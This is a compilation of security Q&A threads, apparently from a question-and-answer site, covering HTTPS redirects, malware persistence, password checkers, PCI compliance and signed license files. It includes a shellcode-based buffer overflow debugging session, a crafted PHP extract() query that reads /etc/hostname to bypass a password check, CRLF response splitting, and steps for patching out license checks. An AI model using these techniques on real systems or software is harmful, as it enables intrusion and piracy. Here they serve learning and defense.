Many sites just have a 301 redirect to their secure site, so I don't see what prevents an attacker from taking advantage of the victim who types in facebook.com and then serving up that page with a fake login form. Is the idea that the user would notice that there's no lock in the upper left corner?

I'm definitely not the expert in this, so I'm asking to just further my knowledge; I'm not trying to disprove anyone and just want to understand security better.

You are correct.

Some ways for the site to decrease that attack vector would be to...

Use an HSTS header to prevent any data from being sent to the site in plaintext.

Advertise only the HTTPS URL and do not allow any plaintext connections. This will ensure most bookmarks use encryption.

The point being that sites should force SSL from the beginning, which will help prevent MITM in the future. There is not much protecting the situation that you presented, as when using mixed content forms, you are vulnerable to sslstrip


After restoring from a (valid) full disk backup can malware still persit? In the comments to this question it is mentioned that even after a backup recovery malware still can persist. Do I understand that correctly? How is this possible? If Acronis True Image is used to make a backup of a disk would restoring a clean backup guarantee the removal of any malware? For example when recovering is the master boot record rewritten?

In general, restoring from a clean backup will wipe out any malware you have.

However, there are rare exceptions.  Malware can install itself in your computer's BIOS, in which case it will persist through anything but a BIOS flash (and if it can sabotage the flash process, it can survive even that).  BIOS-infecting viruses are extremely rare, though, because they need to be tuned to the exact make and model of the computer's mainboard.

The most common reasons why malware can survive a restore from backup are:

it was present on the backup, and the user didn't realize it, or
the user failed to wipe the hard drive before or during the restore, or
the user has sufficiently bad security habits that they were re-infected almost as soon as they finished the restore.


Looking for URL Blacklists of Malicious Websites Is there a maintained list of URLs that contain malicious content. These URLs may be involved in Phishing, Scams, Viri, or other Malware.

Please indicate in your answer if the list is freely distributed or if there is a cost associated with it.

One list that I have found so far is PhishTank.com

URLBlackList.com also looked promising.

online list of infected or malicious urls

malware domain blocklist

The malware domain blocklist have over 12000+ domains lists.

http://malc0de.com/bl/

1300+  Last updated 2013-03-05

Blacklist zeustracker

800+ listing

If you are looking for entire compressed DB

UPDATE

If you are smart enough to write an http parser you can extract the required fields
Complete URL list


how good is "Chrome Password Checkup" extension for checking passwords? From what I read so far Google "Chrome Password Checkup" extension (https://chrome.google.com/webstore/detail/password-checkup/pncabnpcffmalkkjpajodfhijclecjno) checking the password that you use for login (regardless it saved in chrome or not) with known data breaches databases that available online.
based on google explanation it's also used for google services passwords even without "Chrome Password Checkup" extensions. https://support.google.com/accounts/answer/9231944

Interesting how good is this password checker?
so far (used it for 1 week) it only warn me about some test accounts that I used locally with really known password like test123

TLDR; Google Chrome Password Check-up fares worse compared to the likes of HIBP, Firefox Monitor, etc...

Note: The extension in the question which checks logins against known data breaches is now deprecated and the feature is now part of Google Chrome.
Now answering your question, "how good is "Chrome password checker "comparing to other similar programs like haveibeenpwned.com or "dark web" checking credit report subscriptions etc.". Google Chrome Password Check-up fares worse compared to the likes of HIBP, Firefox Monitor, etc... Here's why I came to that conclusion
Google checks for a combination of username & password
Unlike HIBP, Google does not alert you when only your password is breached. From Google's blog post,

We won’t bother you about outdated passwords you’ve already reset or
merely weak passwords like “123456”. We only generate an alert when
both your current username and password appear in a breach, as that
poses the greatest risk.

Not alerting you to change a password like "123456" just because your email/username has not yet appeared on a breach is not at all good.
No information on non-password data breaches
From the Google security blog,

While it’s possible for data breaches to expose other personal data
such as a phone number or mailing address, there’s no straightforward
next step to re-securing that data. That’s why we focus only on
warning you about unsafe usernames and passwords.

I would still like me to know about data breaches of my account even is the password or hash is not leaked.


Shellcode to buffer overflow not working linux m32 What my purposely insecure program does is to check if a username matches a specific string by copying user input into a buffer and comparing it.

I have compiled the program

cc -o real real.c -g -m32 -static -fno-stack-protector

I have managed to fill the buffer with shellcode and overwrite my EIP with the return address of where the buffer overflow happens in order for it to be executed using GDB. But a segmentation problem keeps happening that I don't understand.

I even try include a printf %s to print the address of my buffer to make sure I got the correct address

#include <stdlib.h>
#include <string.h>

int checkUserName(int argc, char **argv) {
    char storedName[300];
    int pass = 1;
printf("%p\n", (void*)&storedName);

if(argc == 1){
      pass = 0;
printf("Nothing Entered");
return(0);
    }

else if(sizeof(argv[1]) > 20){
            printf("Too many characters.");
    pass = 0;
            return(0);
    }
else if(argc > 1) {
      strcpy(storedName, argv[1]);
    }

    while (pass == 1) {
      if(!strcmp(storedName, "694449"))
      {
        printf("Username Successfull\n");
        return(1);
      }
      else{
        return(0);
   }
    }
}

int checkUserPassword(char *userPassword) {

    if(!strcmp(userPassword, "1994"))
{
      return(1);
    }

    else{
      printf("\nWrong Password. Exiting Program");
      return(0);
    }
}

int openBankAccounts() {
    char buff[5000];
    FILE *fp;

    fp = fopen("/home/parallels/RASS/bankAccounts.txt", "r");
    while (fgets (buff, sizeof(buff), fp)) {
      printf("%s", buff);
 }
 fclose(fp);
}

int main(int argc, char *argv[]) {

    int go = 1;
    if(!checkUserName(argc, argv)){
            printf("\nWrong Username. Exiting Program");
            go = 0;
            return(0);
    }

    while (go == 1){

      char userPassword[5];
      printf("\nPlease Enter 4 Digit Pin: ");
      fgets(userPassword, 5, stdin);

      if (!checkUserPassword(userPassword)){
        return(0);
      }
      else{
        go = 0;
      }
    }

  if(go == 0){
        openBankAccounts();
  }
    return 0;
}

GBD CODE

  (gdb) run $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')

  Starting program: /home/parallels/RASS/real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
 0xffffce50

The address 0xffffce50 above comes from the printf. I'm aware that this address changes when executed outside of GDB. I'm also aware that any more inputted characters will start to overwrite the EIP.

 Program received signal SIGSEGV, Segmentation fault.
 0x08048f1a in openBankAccounts () at real.c:54

(gdb)  info reg ebp eip
 ebp            0x90909090  0x90909090
 eip            0x8048f1a   0x8048f1a <openBankAccounts+29>

Now I run it from terminal first, to get the program to print the address:

 parallels@ubuntu:~/RASS$ ./real haha
 0xffffcfb0

And then I run it with that address:

 parallels@ubuntu:~/RASS$ ./real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284' + "\x70\xce\xff\xff")
0xffffce70
Segmentation fault (core dumped)

As you can see, the memory address that I have inserted at the end of my python input is the same as the printed address that the program prints out. What should happen is that the EIP should contain this address and execute the instruction at that address which points back to the buffer that I have overflown with shellcode. But a segmentation fault happens that I do not understand. Everything makes sense

This may not directly relate to your segfault problem, but I notice something looks a little unusual about your printed address, it is 0xffffcfb0, which can't be correct, since that is above the Linux 32 bit user space range, at 0xc0000000.

I don't think you should print your address this way:

printf("[%p]\n", (void*)&storedName);

Since storedName is already an array, you can use it like a pointer:

printf("[%p]\n", (void*)storedName);

Furthermore, I am still not so sure if you did actually get your EIP overwritten properly.
I tried to run your code in GDB with a modified string content as below:

(gdb) run $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
Starting program: /home/user/real $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
storedName: 0xbfffef80

Program received signal SIGSEGV, Segmentation fault.
0x0805c84a in memcpy ()
(gdb) info reg
eax            0xccccb939       -858998471
ecx            0x0      0
edx            0xbffff174       -1073745548
ebx            0x1      1
esp            0xbffff008       0xbffff008
ebp            0x0      0x0
esi            0xbffff318       -1073745128
edi            0xccccb938       -858998472
eip            0x805c84a        0x805c84a <memcpy+90>
eflags         0x10247  [ CF PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) bt
#0  0x0805c84a in memcpy ()
#1  0x0804f4b1 in _IO_getline_info ()
#2  0x0804f5de in _IO_getline ()
#3  0x0804f245 in fgets ()
#4  0x08048d0c in openBankAccounts () at real.c:56
Backtrace stopped: Cannot access memory at address 0xccccccd0

During crash, the EIP seem did not land at 0xDDDDDDDD. So you didn't actually land your EIP correctly.

Another check at your input string and I notice you have the single quote put at the wrong place in your python script,
"\xCC"*284'
This ended your input too early.
After moving the single quote to the end of the input, it segfault at the correct place 0xDDDDDDDD, which is your inserted/intended EIP address.

But again, I'm still curious how did you come up with the EIP target address that start with 0xFFFF****? Shouldn't you be jumping back to your shell code address that is in user space?


Is a forced rewrite from http to https secure? What does SSLRequireSSL add? I've read contradicting advice about forcing https connections in the following way:

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}

To me it seems this wouldn't allow anyone to pass a http request. Is there any disadvantage to this approach?

What security does adding

SSLRequireSSL

to the <directory /> part add? I know it will force Apache to bounce non-https requests but will they ever get through anyways?

Or in other words: What is the best way of implementing a https-only site, if not this?

We do not have an EV certificate, neither do we have a large user base. What we have is a series of survey sites where we want to make http impossible.

What is the best way of implementing a https-only site, if not this?

Use a separate virtual server for the HTTP, not linked to any of the resources of the 'real' HTTPS site.

To ensure that modern browsers will refuse to use plain HTTP for your site in the future, use the Strict Transport Security header.

eg.

<VirtualHost *:80>
    ServerName www.example.com
    Redirect permanent / https://www.example.com/
</VirtualHost>

<VirtualHost *:443>
    ServerName www.example.com
    SSLEngine on
    Header set Strict-Transport-Security "max-age=8640000;includeSubdomains"
    ...site settings...
</VirtualHost>

  What does SSLRequireSSL add?

It can be useful to protect particular resources if you're in a virtualhost with SSLEngine optional, or in a piece of included config shared by both an HTTP and HTTPS virtualhost.


Design proposals for enhanced security for parts of Internet, e.g. for banking? There is some recent discussion of some sort of "multilevel" internet, with e.g. a level defined for banking in which access is only granted after special authentication with "true names", special credentials, and an explicit consent to permit packet searches:
Former CIA Director: Build a new Internet to improve cybersecurity - Nextgov

"The most important value of a dot-secure domain is that, like dot-gov and dot-mil, now we can satisfy consent under the Fourth Amendment search requirements for the government's defenses to do their work within that domain, their work of screening for attack signals, botnets and viruses."
searches of the .gov domain are conducted by the Einstein program, an intrusion prevention and detection system under the direction of the Homeland Security Department that monitors only federal traffic for signs of unauthorized access.

Has anyone seen any technical proposals for how to design something along those lines which might actually result in improved security?  Or is this just bad reporting or clueless bureaucrats speaking?
This is sometimes associated with a ".secure" top-level domain, but without a lot of other mechanisms that of course wouldn't do anything to help security.
And assuming that the websites in this .secure level of the Internet all use SSL all the time, what good would it do for the government to have legal permission to search packets?
Alternatively I guess I could imagine some sort of big semi-public VPN to which access is controlled - has that been explored?  But finding mechanisms that are resistant to phishing or DDoS still seem pretty hard.

My guess, from reading the article, is that the envisioned network is mostly the Internet as we know it, except that thanks to some trickery with regards to the (US) constitution, the presence of a ".secure" at the end of the name allows a (US) agency to deploy various eavesdropping measures. The proposed system should allow only "authorized" users, which probably means that whoever wants to operate a ".secure" machine will have to give a copy of its SSL private key to the CIA/NSA/whatever, or something like that. They could call it "Revenge of the Clipper Chip".

There is nothing really technical here; only legal. The whole things is impressive in its americanity (a US legal gimmick for the benefit of the US agencies, with "consent" stemming from the word "secure" -- that's not .sécurisé or .seguro or .sichern or .terjamin).


How to be PCI compliant with Shopkeep (and others)? When I walk into some businesses, I see them using Shopkeep on an iPad.

I don't understand how this is PCI compliant, as the iPad itself would be in scope, and it can send unconstrained traffic to the internet. Having any device running a full OS connected to the internet at large seems like a vulnerability.

Perhaps reframing my question... how can any of the systems that involve swiping a card through a device connected to a tablet be PCI compliant? This seems to violate common-sense security practices where you want to keep the attack surface as small as possible.

In case this gets closed for calling out a vendor, I actually called Shopkeep to better understand, and they could not provide a suitable answer. In fact, I was told that the iPad would not be part of the card data environment, but that's false by my reading.

Well, the first thing you'd do is put the iPad in "Guided Access" (single app mode) so that the only app that can be used is whatever point of sale software you've got on there.

Next, put it on an isolated network segment that doesn't have external access and is properly secured, and you can actually have a pretty secure setup.  At least as secure as typical point-of-sale systems, which are quite frequently lower-spec PCs running Windows.

Finally, there are a lot of MDM (mobile device management) systems and iOS configuration management systems out there to lock them down further.  As mentioned previously, many point of sale systems are actually Windows PCs.  If you can lock those down to make them PCI-compliant, why wouldn't you be able to do the same with a device running a different operating system?


Bypassing password authentication in example PHP I have pseudocode of the following script:

  $pass = '...';
  $answer = '....'

  extract($_GET);

  if (($inp)) {
    if ($inp === get_contents($pass)) {
      return $answer
    } else {
      echo "Wrong!"
    }
  }

My task is to find out the $answer variable. I have an HTML form which passes the input parameter from the field into this script using the GET method. What kind of attacks could this script be vulnerable to? I am a complete beginner to this stuff, so any help would be greatly appreciated.

P.S. I read on the PHP website that extract() with $_GET is a very bad idea. Could it be because it makes XSS attacks possible against this script?

The extract() imports variables into the current symbol table from an array. The get_contents might actually be file_get_contents() which reads a file into a string. The file could be either on the local filesystem or from the Internet via HTTP.

If you know the contents of the text file referenced in $pass you know the password you should have in $inp, but you don't have that file nor its location.
$_GET['pass'] becomes $pass because there's the extract($_GET);. Hence, by adding a GET variable you can change the password required for printing the answer.

I would try a file with predictable contents, e.g. ?pass=/etc/hostname&inp=server.example.com%0A – the Line Feed character %0A is required, because /etc/hostname ends with a newline.


Is there an impact of CRLF injection on static sites? I found CRLF injection on a site but it doesn't has any login, session or anything or that sort. I wonder if there's any way to prove impact of CRLF injection here.

Something that I think can be done is, an attacker can craft the payload in such a way that it would respond with Location header and user would be redirected to a malicious site. This is called Response Splitting. But I'm not sure if the company would consider this as a vulnerability because user's can only be redirected.

I asked myself if that's the only thing an attacker can do? After sometime I realized XSS can also be perform with response splitting but what would attacker get with XSS as there is no session cookie or anything?

I can't figure out how to show am impact of this, are you aware of any interesting header or anything, any help?

EDIT: I found a broken link to an external site on this same forum and checked for content on wayback.

It says.

  Cross-User Defacement: An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

But I don't understand it properly, can anyone please explain it in simple words?

It depends on the architecture, but essentially the premise is that you inject a http response inside your response causing there to be two responses in the output queue/buffer. Once the server has sent the first response to you it now has another response ready to go which could be delivered to another user. It is not a predictable behaviour and would require other active users that could be attacked.

Even if the site does not have active content you could attack users via a fake plugin update (flash, f.ex) or perform a CSRF attack against another site or their internal network (change Soho router DNS settings f.ex).


Haunted Google Account? Not to be dramatic but at my level of inexperience, the title is what I'm left with. Hoping smarter people can point me in the right direction, so here goes...

A google account used in a school environment, on samsung chromebooks, has been compromised in an odd way.  Documents that the student are working with on google drive/docs are being edited and "scary" pictures are inserted along with odd text.

So far, password changes and turning on 2 factor authorizations on the account have not stopped the edits from occurring.  Some limited testing tells me that a password change invalidates all previously logged in sessions, so if this were another student or individual in real time editing and causing the issue, it should have kicked them out and solved it.  The 2 factor authorization code that I tested is also only valid for a single login, with failed login attempts sending notices to the user.  So I think I ruled out that someone is logging in with a repeatedly stolen username/password, like another person looking over a shoulder and copying the password.

Has anyone ever heard of a plugin/malware/extension that is meant to be a prank that would fit this?  Or anything really, any other suggestions cause at this point I'm left with requesting that IT delete the account and start fresh...or that it's a ghost...

Thanks for any help.

To summarize the checks that can be done in order to assess wheather and how the account has been compromised:

First of all see if the files in question are shared with other users (which may be the cause of the problem). Someone who might have had full access to the account might have granted himself access and now is still able to modify the files after losing the login credentials thanks to your intervention. Also the user might have accidentally shared a folder or more with a wrong user.
See which applications have access to the account on the permissions page, look for suspicioius ones and, in the best case revoke access for all, for now at least.
See any API access tokens have been created or are currently active. A list of which should be in the Developers Console under: Developers Console/apis/credentials
In addition you can look at the security log
Finally, of course, the user's computer itself or one of those having access to a share might be compromised or the users themselves may be involved.


Is it a good idea to use asymmetric encryption for a chat application? I am reading design documents of an internal Whats-app like chat application.
Developers are planning to use asymmetric encryption to encrypt all messages.

Every user will have a public/private key pair and for every new chat a chat-public and a chat-private key will be generated. Keys will be delivered to relevant parties via a central server.
When a user sends a message, the message will be encrypted with user private and chat public keys. Receiver will decrypt the message using sender's public and chat's private key.
This looks fine but most popular chat apps are using PKI to exchange a shared key and continue with symmetric encryption.

Is there a reason I should argue against asymmetric method and offer using a symmetric encryption algorithm?

Yes, there's a reason; public key encryption is very slow and CPU-intensive, and not at all suitable for encrypting chat data, which may well include images, audio or video as well as text. That's why wherever it's used, it's only used to transmit a shared symmetric encryption key which is then used to encrypt the actual content. But in any case, it's never a good idea to roll your own cryptography. Just use TLS, which is designed for this kind of use case. You'll need to get every instance of the user app to upload its public key to your server, so that other users can check the server to verify that they're talking to the right person and not being hit with a man-in-the-middle attack.


Possible to get sshd (openssh) to log the public key of failed key based login attempts? As I understand sshd (openssh in my case) typically does/may log the fingerprint/hash of the public key of incoming connections which are attempting to authenticate via key.

What I'm looking for is the full public key of incoming connections, specifically failed logins. Is that possible?

If so, how?

You can set the log level to VERBOSE or higher (DEBUG3) in the sshd_config file.

e.g.:
LogLevel DEBUG3

This will log hashes (for my Cent-OS setup) of the offered keys to /var/log/secure


How to detect SMTP proxy on public wifi? For a small research project I want to collect characteristics of public wifi hotspots.

One topic that came up was SMTP proxy - is there a way to detect a proxy or could I just check whether the standard ports are generally blocked (which would be 25, 465 and 587)?

If it is a logging only proxy, you cannot. As you speak of Wifi, I assume that you connect through DHCP, so the default router is obtained through DHCP. That router actually proxies all traffic between its Wifi interface and its internet interface. From the outside, you cannot guess whether a spying system has been installed here.

On the fly rewriting of packets at this low level is rather complex and is uncommon: those are generally only filtering proxies that can block unallowed traffic. You could imagine one specific tool that for example consistently adds a new address on the mail envelop (not the To: header, but the RCPT TO: SMTP command). But as it is simpler to just log all traffic on selected ports, I have neved heard of such a tool.

TL/DR: you cannot detect a proxy when you connect to a Wifi network that you do not own, because by definition the Wifi hotspot is a router and could log all the traffic that goes through it. So you should assume that everything that passes in plain text can be spied.

That is for the low level proxying possibility. A more common usage is that ISP block SMTP traffic (port 25) that is not for their own server. This is a best practice to avoid open mail relays. But the secure ports using SSL/TLS or requiring authentication (465 and 587) are generally not blocked.


Temporary passwords e-mailed out as plain text Is this a security issue? Many big ecommerce platform companies use this feature. Where if you forgot your password, they e-mail you a temp password.

Could someone potentially figure out the algorithm they use to generate these passwords; also these temp passwords have to be stored somewhere in plain text, correct?

Anything you send by email is potentially spied upon. That's how email security goes (there's none). So sending confidential data by email is an issue. We still do that occasionally, but that's because we have no better choice. But we apply mitigations:

The password is "one-time" meaning that if it is intercepted and used, either the real recipient already used it (and then the attacker is thwarted), or the real recipient will notice the problem when trying to use it (and then the attack is at least revealed).
The only allowed use of the temporary password is to reach a page or screen allowing the registration of a more permanent password, chosen by the user himself (i.e. a password which did not travel in an email).
Such passwords are generated randomly, so that they are individually strong, and it is not possible to "guess" the next temporary password, even after having observed a lot of previous passwords.

There is no need to store passwords in plain text anywhere, be they temporary or permanent. What the server must store is something which allows verifying a given password, i.e. a password hash.

Temporary-passwords-by-email are also often called "password reset links". That's the same functionality, only with an extra https:// so that the temporary password may be "typed" with a mouse click.


Cost-benefit analysis of ASLR I want to evaluate whether it's worth it to add ASLR to a proprietary operating system. This OS runs multiple applications that don't trust each other and exchanges data over the network, so the threats that ASLR mitigates do apply. Given infinite resources, I would add ALSR.

But resources are finite. Maybe we'd get a stronger security by spending time on other pursuits such as more intensive testing, finer static analysis, general design improvements, etc.

We can look at our OS and evaluate the cost of ASLR (initial design, avoiding address leaks through e.g. timing, greater difficulty of debugging, …). How can we evaluate the benefits?

ASLR doesn't prevent vulnerabilities, it only makes exploits more difficult. I tend to think that the least exploitable vulnerability is the one that doesn't exist and attackers will always find a way, but this is just a feeling, I don't have data. Is it common for ASLR to make exploitation impossible? How can we quantify the benefits of ASLR?

One way to get some data on this is to weigh the success/fail rate of ASLR for this particular OS by implementing it in a testing environment, and then running attacks against the non-ASLR version, and the ASLR version. Of course, this would be very one sided being that it is only being tested by a specific entity instead of a community. However, you will achieve a rough idea of how effective ASLR is, how accurate that number is depends on how sophisticated the attacks are.

Not one protection measure will succeed in blocking all attacks. Given time, resources, and persistence, an attacker will eventually succeed. ASLR sets the bar higher for the skills needed to fully take over an OS, but it doesn't make it impossible.

Consider Defense in Depth as an arguing point for ASLR, solid security designs utilize multiple defenses before an external user actually reaches an application. It's there to protect the OS if someone was smart enough to get around the inner defenses. What if the individual is just a script kitty who got lucky with getting into the network, but has no idea how ASLR works? Attack thwarted, or at the least greatly reduced its impact. What if the attacker were a professional? Utilizing ASLR certainly doesn't make their objective easier for them, they might keep persisting or just tire out and take what they can get.

Of course, since this OS is proprietary, it certainly wouldn't look good on the developer(s) if someone were to compromise it, then have it be revealed that no protection measure was ever implemented at the core of the OS. This is almost like a bank using residential locks on a money vault.


Generate and add new encryption subkey? My encryption subkey (but not my signing or other subkeys) expired. How do I generate and add a new encryption subkey using gpg?

gpg --edit-key <KEY_ID> addkey

Choose

   (5) Elgamal (encrypt only)
   (6) RSA (encrypt only)

source: gpg manpage


Should I let a user know they have entered an unknown username or email address? On my website I have a password reset page that users can use if they have forgotten their password. On this page they can enter their username or their email address and hit "reset" which will send them a link to reset their password.

If they have entered an incorrect username or email, should I let them know that it does not exist in our system, or is that a security risk?

The answer is generally it depends. This is really based on the security of your system.

Users can create new accounts without restriction

If so, it is kind of meaningless to not tell them. You can't have intersecting usernames or email addresses, so you have to inform a new user if their username or email has already been used. An attacker would then be able to obtain the usernames and emails by attacking the new user registration system. Giving them a similar venue to attack in the forgot password section does not harm your security any because the method just exists elsewhere. Just make sure that the restrictions you use in the registration system are the same as the restrictions for requesting a password (that is whatever anti-spam system you use).

Users cannot create new accounts without restriction

Consider an invite only system. The only way you are allowed to register is if someone has authorized it. This could be an instance where an administrator sets your initial username, email, and password (potentially manually). This system would allow you to gain security by not telling users if their entered information is correct or not. Usernames and emails could then be treated as a weakly guarded secret.

Overall

Note that this is a hit to usability. If someone mistypes their email address, they may not notice that they did. Emails from websites don't always come through immediately, so a user could be waiting for an email that never comes.


What are the use cases for anonymous SSL cipher suites? SSL supports several anonymous cipher suites such as TLS_DH_anon_WITH_AES_256_GCM_SHA384. When these are used, no authentication is performed and no certificates are exchanged. This means that if they are used, you are at risk of MitM attacks.

Previously, I have only seen these enabled when someone has enabled every single cipher suite by mistake. Today, I noticed that Nationwide online banking has a single anonymous cipher suite enabled.

This leads me to believe it was added deliberately, rather than accidentally.

What are the use cases for anonymous cipher suites on a website?

That TLS includes such capability is not without good reason.

It provides for confidentiality without the need for a certificate authority - an endpoint must be configured to remember what certificates it will accept, instead of which certificate authorities it will accept. This is a completely different trust model from that generally used on the internet, and should not be used on a public website.

I would not expect this cipher to be available in any browser.


Another method to erase hard drives securely? Possible Duplicate:
  Use truecrypt to make data unrecoverable

The other day I was thinking, and I looked up this question because I was pretty sure a question similar to this had been asked. (I had never heard of that method previously, but anyways...) Would it be an acceptable alternative to encrypt a whole volume with a program such as TrueCrypt with an extremely strong encryption key and algorithm, then format the disk? TrueCrypt is pretty strong by its self, and by the time you plug in that disk and say, install an OS on it, vital parts of the data that were previously there (keep in mind, it was encrypted, then formatted, then overwritten with a new OS in parts) are gone - which would effectively make it impossible (correct me if wrong, please) to recover said volume - Would this be another method to securely erasing a HDD?

Would it be an acceptable alternative to encrypt a whole volume with a program such as TrueCrypt with an extremely strong encryption key and algorithm, then format the disk?

Well, if you're trying to delete it then just overwrite it with random data and you've done effectively the same thing. Truecrypt will write over every block of a drive when encrypting it.

The added bonus, though, is that if you've been running TrueCrypt the entire time and you have a strong passphrase or a keyfile that is separate from the drive, "forgetting" it will also render the drive essentially securely erased.


Where is my missunderstanding in how digital signatures are used with licence files to allow program to run? I'm trying to learn how digitally signing a licence file helps prevent piracy. For example say an application only runs if it verifies the date as specified in a licence file has not past. Obviously it would be easy for someone just to change the date in the licence file, so to prevent this the licence file contains a digital signature of itself (i.e. the real expiry date) that was made using

KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
kpg.initialize(512);
KeyPair keyPair = kpg.genKeyPair();

byte[] data = expiryDate.getBytes("UTF8");//expiryDate is the string containing expiry date

 Signature sig = Signature.getInstance("MD5WithRSA");

 sig.initSign(keyPair.getPrivate());
 sig.update(data);
 byte[] signatureBytes = sig.sign();
 try {
            appendSig(licenceFileName, new BASE64Encoder().encode(signatureBytes));//append signature to licence file

After the licence is made like this, the actual application would have the public key to decrypt the signature and verify that the plaintext version in the licence file matches.

    String inSig=input.nextLine();
    Signature sig = Signature.getInstance("MD5WithRSA");

    sig.initVerify(pk);
    sig.update(expiry.getBytes("UTF8"));

    //this should be true
    System.out.println(sig.verify(Base64.decodeBase64(inSig.getBytes("UTF-8"))));

Is this right? The decodeBase64 won't compile and says "cannot find symbol". I'm sure if I were doing this right the standard Java library would support it.

Am I at all on the right track? I'm assuming the licence file is a plain text file.

Let's state things clearly: there is such a thing called asymmetric encryption. There is another, completely different thing called digital signatures. Whenever you see some text that talks about "decryption with the public key", then that text is really talking about signatures, and is trying to explain signatures as if it was some kind of encryption, which:

works only for a specific algorithm called RSA;
does not a actually work for RSA, when looked at closely.

So it is much better to talk to things under their true names.

What a signature can do for a license file is to guarantee that a piece of data is genuine:

The vendor owns a key pair that consists in elements that are mathematically linked together: the public key and the private key. They are called that way because though they are facets of the same mathematical object, there is no known method to rebuild the private key from the public key; thus, the public key can be made public, since this does not reveal the private key.
The vendor uses the private key to compute a signature on the license file. The signature generation algorithm uses as inputs the data to be signed (license file contents) and the private key, and outputs the signature.
The application verifies that the signature is correct. The application can do that because it embeds a copy of the vendor's public key: the signature verification algorithm uses as inputs the data which was signed (the license file contents), the public key, and the signature; and that algorithm returns "that's OK" when the three elements match.

By the magic of the cryptography in the signature algorithm, only the private key owner (the vendor) can produce signature values that the verification algorithm will accept as "correct" with regards to the vendor's public key. Outsider, who do not know the private key, cannot do that.

It is still up to the application to enforce whatever the license file says. What the signature on the license file guarantees is that the license file really comes from the vendor. The rest is up to the application.

Of course, signed license files do not really prevent piracy. The critical part, here, is that the application must still include a copy of the vendor's public key, verify the signature, and apply the rules contained in the license file. Someone who wants to copy the application and run it elsewhere may still do a bit of reverse engineering and do one of the following:

Replace the public key embedded in the application with his own public key, for which he has the corresponding private key, allowing him to produce his own fake license files that the application will blindly accept.
Patch the application code that checks the signature on the license file so that an invalid signature is accepted nonetheless. This is not hard to do; ultimately, in the compiled code, there is a conditional jump opcode that sees what the signature verification algorithm returned (a boolean value that says "signature is valid" or "signature is not valid") and jumps to the relevant piece of code. It suffices to replace that conditional jump with either a nop, or an unconditional jump.
Remove the whole license file processing code altogether. Wherever the application contains a call to the license-checking system, simply remove the call.

Since that kind of reverse engineering is easy, it would be wrong to imagine that a signed license file really prevents software piracy. What it helps with, though, is legal qualification. When some reverse engineering is involved, intent is made plain. The software pirate can no longer be casual about it; by altering the application code to circumvent the license file checks, he clearly demonstrates that he knows what he is doing. Depending on the jurisdiction, such a legal qualification can matter a lot when it comes to police raids and trials.

Your code appears to create a 512-bit RSA key, which is very weak. A 512-bit RSA key was cracked in 1999, with the computing power that was available to academics at that time (by "cracking" I mean "reconstructing the private key from the public key"). Nowadays, it can be done with a single desktop computers in a couple of months; alternatively, it can be done in a few days with about 75$ of rented computing power from some cloud vendor like Amazon.

Similarly, using MD5 as companion hash function (the RSA signature algorithm uses a hash function as additional element) will get you bad points, since that function is considered "broken" (actually, it can still be used securely in the context of RSA signatures, but one has to be careful about it, and it still looks bad during audits).

You seem to sign just the "expiry date", which makes your license files generic -- applicable to all application instances. This is problematic because it suffices of a single leak of a valid license file to allow everybody to use it. Usually, people who make signed license file design the file contents so that the signed data includes a unique identifier for the application instance: the application, when it installs on the computer, create a unique, random identifier, sends that to the vendor, and the vendor signs a license file that contains that identifier. That way, a license file can be made specific to each instance, and not usable to unlock any other instance. Alternatively (or complementarily), the license file may contain the customer name so that leakages can be traced back to the culprit (and thus, hopefully, deter wannabe leakers).


Are auto-mounting hard drives a security issue? Why are hard drives mounted by default in Windows OS, while they aren't in Linux OS? Is that a security issue?

If your computer was hacked, can unmounted drives be considered clean?

Why are hard drives mounted by default in Windows OS, while they aren't in Linux OS?

Typical user-oriented GNU/Linux distros have automounters on by default.

  Is that a security issue?

More like a usability issue.

  If your computer was hacked, can unmounted drives be considered clean?

No, because the attacker could mount them, do his dirty stuff and unmount them again, and wipe the logs.  Only careful inspection of FS metadata will reveal when it was mounted (provided that the attacker didn't mess with it, which you likely won't be able to prove).


Any ways to exploit PHP through an echo'd parameter? I was wondering, lets say we have a page like this.

<?php
if(isset($_GET['example'])){
echo $_GET['example'];
}

Would there be any way to exploit this page into doing something such as executing PHP, or accessing server files? Anything we can do with this example parameter?

I appreciate all answers, thank you very much.

This is a cross site scripting (XSS) vulnerability, which allows exploitation of the client (web browser) and cannot be used to (exploit php) compromise the website directly. It may however be possible to use this XSS as a staging point to attack other parts of the website, for example through hijacking an administrators session identifier or cross site request forgery.


Loading a passphrase-protected private SSH key from a file with the cryptography Python module I am trying to load a passphrase-protected private SSH key from a file using the cryptography Python module. However, I'm not exactly sure how to proceed. The following yields a Crypto.Util.Padding.PaddingError: Padding is incorrect. error.

def importPrivateKey(private_key,passphrase):
  """
  Imports the private key in an RSA object and generates the hash.
  """

  # -- Test with pgcrypto (now deprecated) -- WORKS
  with open(private_key, 'r') as private_key_file:
    key = RSA.importKey(private_key_file.read(),passphrase=passphrase)

  print(key)

  # -- Test with cryptography (active) -- FAILS
  with open(private_key,'r') as private_key_file:
    key = load_pem_private_key(private_key_file.read(),password=passphrase,backend=RSABackend())

  print(key)
  SecureString.clearmem(passphrase)

  return key

